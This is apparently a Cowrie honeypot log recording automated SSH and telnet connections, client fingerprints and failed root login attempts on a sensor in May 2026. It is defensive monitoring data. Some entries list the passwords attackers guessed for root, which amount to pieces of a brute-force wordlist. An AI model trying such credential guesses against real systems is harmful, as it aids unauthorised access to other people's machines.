{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:45.302088Z","src_ip":"117.121.214.50","session":"f8210835a2a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"idc@123","message":"login attempt [root/idc@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:46.333955Z","src_ip":"117.121.214.50","session":"f8210835a2a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.25.10.167","src_port":42374,"dst_ip":"10.17.0.5","dst_port":22,"session":"2fbf4ef179ee","protocol":"ssh","message":"New connection: 69.25.10.167:42374 (10.17.0.5:22) [session: 2fbf4ef179ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:46.503241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:46.507772Z","src_ip":"69.25.10.167","session":"2fbf4ef179ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:46.600453Z","src_ip":"69.25.10.167","session":"2fbf4ef179ee","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"27:f9:ab:9b:de:72:e7:c9:b3:8e:d9:a7:d2:77:d9:90","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4R48l8RFxR51jC+aQxtD9TBfUqZzwOKYqBoeJaIZP3QX9qtFrdg4NEImh+WclBtly/JK5BkbAa/X8k6ZBkjjkr0oj0D2x9c2zjh5a5jlRBBZ6/DD4WAlsC9owK46qLsrzUvxZzx/3yOOVqxXio8hQ4wXEhiwXvL02DPG01mGbnUsXKgxFj6tUJpJSKpXKsUf7ucy0LOFTN2owgDymW94zhfNT7SAdVSO0atSd6nsWf2y2bS1E6bm767gN7AnqXqGnZanpfLaNABZGJFq9fUMj95mWBGzOtglsznj61O2VvvE5QmWRGKjYDQ9pW0gmeQ7uodUnvARznMX8whV7VhIj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 27:f9:ab:9b:de:72:e7:c9:b3:8e:d9:a7:d2:77:d9:90","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:47.033618Z","src_ip":"69.25.10.167","session":"2fbf4ef179ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"27:f9:ab:9b:de:72:e7:c9:b3:8e:d9:a7:d2:77:d9:90","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4R48l8RFxR51jC+aQxtD9TBfUqZzwOKYqBoeJaIZP3QX9qtFrdg4NEImh+WclBtly/JK5BkbAa/X8k6ZBkjjkr0oj0D2x9c2zjh5a5jlRBBZ6/DD4WAlsC9owK46qLsrzUvxZzx/3yOOVqxXio8hQ4wXEhiwXvL02DPG01mGbnUsXKgxFj6tUJpJSKpXKsUf7ucy0LOFTN2owgDymW94zhfNT7SAdVSO0atSd6nsWf2y2bS1E6bm767gN7AnqXqGnZanpfLaNABZGJFq9fUMj95mWBGzOtglsznj61O2VvvE5QmWRGKjYDQ9pW0gmeQ7uodUnvARznMX8whV7VhIj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:47.037275Z","src_ip":"69.25.10.167","session":"2fbf4ef179ee","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a0:a9:0f:09:a0:6a:00:c7:0f:5e:31:99:be:5b:4e:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDULYyhw7TSlaheGRAd5D4y88zBBv+KHII7g0/N95l8vq5W0lIPLUk77ekw/b/PI1qDI/RvD7BPC+C+DVsFAUBRqMaJf4vHlsrcoK9EYXyDBh1Rsgk9MASg5KIfKoMuIFhGy4r0MCQP4bv6l99/4yMNkFLGfFlar/KIe5xk3jwvGt5a8NkOBkZtQGrhYxHhKfmbOg9tfA0lJDzZSIye16EdDmDSlaI8Cmgow8Aqxb9ySxOd9yTRUZCdPi894ywTYQabxYKjxeM6OHk+dMIaz2rX0mRn5B9Sj3BY8e/HofTtrntdfR0e2Zxe72U21MlkU8cO5WtI4AqT4J6+v32XCr7h","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a0:a9:0f:09:a0:6a:00:c7:0f:5e:31:99:be:5b:4e:8a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:47.128575Z","src_ip":"69.25.10.167","session":"2fbf4ef179ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a0:a9:0f:09:a0:6a:00:c7:0f:5e:31:99:be:5b:4e:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDULYyhw7TSlaheGRAd5D4y88zBBv+KHII7g0/N95l8vq5W0lIPLUk77ekw/b/PI1qDI/RvD7BPC+C+DVsFAUBRqMaJf4vHlsrcoK9EYXyDBh1Rsgk9MASg5KIfKoMuIFhGy4r0MCQP4bv6l99/4yMNkFLGfFlar/KIe5xk3jwvGt5a8NkOBkZtQGrhYxHhKfmbOg9tfA0lJDzZSIye16EdDmDSlaI8Cmgow8Aqxb9ySxOd9yTRUZCdPi894ywTYQabxYKjxeM6OHk+dMIaz2rX0mRn5B9Sj3BY8e/HofTtrntdfR0e2Zxe72U21MlkU8cO5WtI4AqT4J6+v32XCr7h","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:47.131760Z","src_ip":"69.25.10.167","session":"2fbf4ef179ee","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6f:6d:1c:82:ec:de:88:cb:58:15:fb:95:b6:b9:e2:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOFyMVzGG6GJRSj5x+ueuJpJ1doEZ8Ht5Njs1Z8XN/JYemAveMc4u/IKSNHXCR/bi3bQGVs4Y4gbe61rfhSVMPimlQh4iWYZAsnOGYvk33YUUbaX5sQrYtLP3ihoaXDPYDva47F1mLrGmPrZaTrCOOTAbUzJsc2H5lWewq+mKLXV3nEMIuiQhoqod66iDSXuFeJRWa7UVFtbUGffLGDq4UYUEJ7xZ95lCWiLFB/c1Z0rsnH5pE4IxCl7nk4ESV6ZqeWk8jgXGq+XSiVfzWe6y1M9TDO+kWDV4U54NkXYwi/ep0uRKTOvvr9GhxOWCEqQbRabQZmRb6SHnJVwYD89r9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6f:6d:1c:82:ec:de:88:cb:58:15:fb:95:b6:b9:e2:11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:47.222778Z","src_ip":"69.25.10.167","session":"2fbf4ef179ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6f:6d:1c:82:ec:de:88:cb:58:15:fb:95:b6:b9:e2:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOFyMVzGG6GJRSj5x+ueuJpJ1doEZ8Ht5Njs1Z8XN/JYemAveMc4u/IKSNHXCR/bi3bQGVs4Y4gbe61rfhSVMPimlQh4iWYZAsnOGYvk33YUUbaX5sQrYtLP3ihoaXDPYDva47F1mLrGmPrZaTrCOOTAbUzJsc2H5lWewq+mKLXV3nEMIuiQhoqod66iDSXuFeJRWa7UVFtbUGffLGDq4UYUEJ7xZ95lCWiLFB/c1Z0rsnH5pE4IxCl7nk4ESV6ZqeWk8jgXGq+XSiVfzWe6y1M9TDO+kWDV4U54NkXYwi/ep0uRKTOvvr9GhxOWCEqQbRabQZmRb6SHnJVwYD89r9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:47.226273Z","src_ip":"69.25.10.167","session":"2fbf4ef179ee","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e9:8b:8a:77:e1:38:bf:52:ac:00:17:5c:c9:89:59:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6FmDpohLcOXtlQK5BbkaIK1IcSyPmHmJfC8JL4abHtWGZzTC3DPM15ySQK/cXve05LcUPGdnr/Vx+90CmoKT+t4KTZDBtPiPzePCoRs1Fi3qYN9hf+yy0rr49J5cIORHSRp5cXgu5g3afRr4sZH3CpRtNGByi9uova3kR4OpXn9LyCQPfR/Xy2bEOld38RqdNGwbkAW3lZYtGLvzAkxBOJrjT5KRC4V29fJgcEDD5vsyC4auUZHRawLC9lIi9yXfhiS8eq03jAuEeDcnfpEpUgH7sb5Hn7z9Ph7wAJv5V0/f+/g+zWoh4iotAuS4EV8o+s5rnYB0VLEDBo4r+jhGX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e9:8b:8a:77:e1:38:bf:52:ac:00:17:5c:c9:89:59:32","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:47.318674Z","src_ip":"69.25.10.167","session":"2fbf4ef179ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e9:8b:8a:77:e1:38:bf:52:ac:00:17:5c:c9:89:59:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6FmDpohLcOXtlQK5BbkaIK1IcSyPmHmJfC8JL4abHtWGZzTC3DPM15ySQK/cXve05LcUPGdnr/Vx+90CmoKT+t4KTZDBtPiPzePCoRs1Fi3qYN9hf+yy0rr49J5cIORHSRp5cXgu5g3afRr4sZH3CpRtNGByi9uova3kR4OpXn9LyCQPfR/Xy2bEOld38RqdNGwbkAW3lZYtGLvzAkxBOJrjT5KRC4V29fJgcEDD5vsyC4auUZHRawLC9lIi9yXfhiS8eq03jAuEeDcnfpEpUgH7sb5Hn7z9Ph7wAJv5V0/f+/g+zWoh4iotAuS4EV8o+s5rnYB0VLEDBo4r+jhGX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:47.321930Z","src_ip":"69.25.10.167","session":"2fbf4ef179ee","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"82:6d:e3:87:57:6e:7e:13:e5:b9:ee:3f:f4:c7:2a:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDO+L01QWsYTHmFKMkW5NfS9SnsUwOND8f4jbnUMR3FwWyiqfaKJ4GA1NZzIfsx86HAilFZzoLQfRAZNi0UmyKEtyb9vpU8XmRkwiU9KzH+ImPn3ELNAhKjpB124bfrskGK0YpPssluNK7O+ytkyveZ0jdOnV6HfiYaMvd1NNs6reISu9M4TOQhmvmBUtwvnd7WP/mxK2zabqOLAkKz+p2T9w/6WfvCxwIP/pmfDZfGVJibUTh8RfoXF6rz4ofIxGkL9iddyeDFIGHunG0x+/9SatDQvVmKHYOiQy1UglHfLTyNtwiPxbkU1FkWfrQxlLczxywGp/t2cnpwgpS2bQDgrKmtM8iQhtW6h1LlEkKJ6kVNhLcsg6naZ+1QzPGMcOyZAtRoqlxQq6+vJdUUJd+GkA37AoZIRihwlAukHWH9sVrpeycwSQ5+FXjCLvSbkaeoc4CMc8N+IQbjQ/eUHFYM2Xe5USWbk5/W1tdLU8EgRYGz7bNURLePaHdUUzWSkDrONpk3GUJNt6BpvCzLqDqqPFBjBjkLZ8XLOfiRoCUuswfFShkTae58Vq/ZLJyHq23gyk6UxoPpvMoMk3P35UVMc32xu/oYKcWcB64ysWuoBOAVq9OJIqDft2g/E9wH7qw9J93v5xvut+m3kSqfub2fwD7BLRUG1ZeyWloqiXwdpQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 82:6d:e3:87:57:6e:7e:13:e5:b9:ee:3f:f4:c7:2a:7b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:47.411368Z","src_ip":"69.25.10.167","session":"2fbf4ef179ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"82:6d:e3:87:57:6e:7e:13:e5:b9:ee:3f:f4:c7:2a:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDO+L01QWsYTHmFKMkW5NfS9SnsUwOND8f4jbnUMR3FwWyiqfaKJ4GA1NZzIfsx86HAilFZzoLQfRAZNi0UmyKEtyb9vpU8XmRkwiU9KzH+ImPn3ELNAhKjpB124bfrskGK0YpPssluNK7O+ytkyveZ0jdOnV6HfiYaMvd1NNs6reISu9M4TOQhmvmBUtwvnd7WP/mxK2zabqOLAkKz+p2T9w/6WfvCxwIP/pmfDZfGVJibUTh8RfoXF6rz4ofIxGkL9iddyeDFIGHunG0x+/9SatDQvVmKHYOiQy1UglHfLTyNtwiPxbkU1FkWfrQxlLczxywGp/t2cnpwgpS2bQDgrKmtM8iQhtW6h1LlEkKJ6kVNhLcsg6naZ+1QzPGMcOyZAtRoqlxQq6+vJdUUJd+GkA37AoZIRihwlAukHWH9sVrpeycwSQ5+FXjCLvSbkaeoc4CMc8N+IQbjQ/eUHFYM2Xe5USWbk5/W1tdLU8EgRYGz7bNURLePaHdUUzWSkDrONpk3GUJNt6BpvCzLqDqqPFBjBjkLZ8XLOfiRoCUuswfFShkTae58Vq/ZLJyHq23gyk6UxoPpvMoMk3P35UVMc32xu/oYKcWcB64ysWuoBOAVq9OJIqDft2g/E9wH7qw9J93v5xvut+m3kSqfub2fwD7BLRUG1ZeyWloqiXwdpQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:47.414928Z","src_ip":"69.25.10.167","session":"2fbf4ef179ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:47.506588Z","src_ip":"69.25.10.167","session":"2fbf4ef179ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:47.585212Z","src_ip":"117.121.214.50","session":"f8210835a2a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49636,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e2aed5c0dc5","protocol":"telnet","message":"New connection: 152.42.224.71:49636 (10.17.0.5:23) [session: 8e2aed5c0dc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:48.807928Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49652,"dst_ip":"10.17.0.5","dst_port":23,"session":"7972246ea22c","protocol":"telnet","message":"New connection: 152.42.224.71:49652 (10.17.0.5:23) [session: 7972246ea22c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:49.361659Z"}
{"eventid":"cowrie.session.closed","duration":120.01121520996094,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:59.915617Z","src_ip":"152.42.224.71","session":"aee60c032369","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"166.1.144.134","src_port":60574,"dst_ip":"10.17.0.5","dst_port":22,"session":"0471cf611611","protocol":"ssh","message":"New connection: 166.1.144.134:60574 (10.17.0.5:22) [session: 0471cf611611]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:40:11.006207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:40:11.013769Z","src_ip":"166.1.144.134","session":"0471cf611611","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:40:11.112961Z","src_ip":"166.1.144.134","session":"0471cf611611","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"az78qs45","message":"login attempt [root/az78qs45] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:40:11.522712Z","src_ip":"166.1.144.134","session":"0471cf611611","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.332921266555786,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:40:11.760450Z","src_ip":"152.42.224.71","session":"09fa52e06a2b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:40:12.628012Z","src_ip":"166.1.144.134","session":"0471cf611611","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.86","src_port":58760,"dst_ip":"10.17.0.5","dst_port":22,"session":"f491cdce603d","protocol":"ssh","message":"New connection: 165.154.6.86:58760 (10.17.0.5:22) [session: f491cdce603d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:40:14.946726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:40:14.952595Z","src_ip":"165.154.6.86","session":"f491cdce603d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:40:15.175487Z","src_ip":"165.154.6.86","session":"f491cdce603d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1a2b3c4d5e","message":"login attempt [root/1a2b3c4d5e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:40:16.092585Z","src_ip":"165.154.6.86","session":"f491cdce603d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:40:17.318370Z","src_ip":"165.154.6.86","session":"f491cdce603d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32776,"dst_ip":"10.17.0.5","dst_port":23,"session":"771d32f61da7","protocol":"telnet","message":"New connection: 152.42.224.71:32776 (10.17.0.5:23) [session: 771d32f61da7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:40:18.931010Z"}
{"eventid":"cowrie.session.closed","duration":55.26138162612915,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:40:20.683953Z","src_ip":"152.42.224.71","session":"9c1777e78dbc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32792,"dst_ip":"10.17.0.5","dst_port":23,"session":"2963e294b1ab","protocol":"telnet","message":"New connection: 152.42.224.71:32792 (10.17.0.5:23) [session: 2963e294b1ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:40:22.618540Z"}
{"eventid":"cowrie.session.closed","duration":40.17095184326172,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:40:28.978803Z","src_ip":"152.42.224.71","session":"8e2aed5c0dc5","protocol":"telnet"}
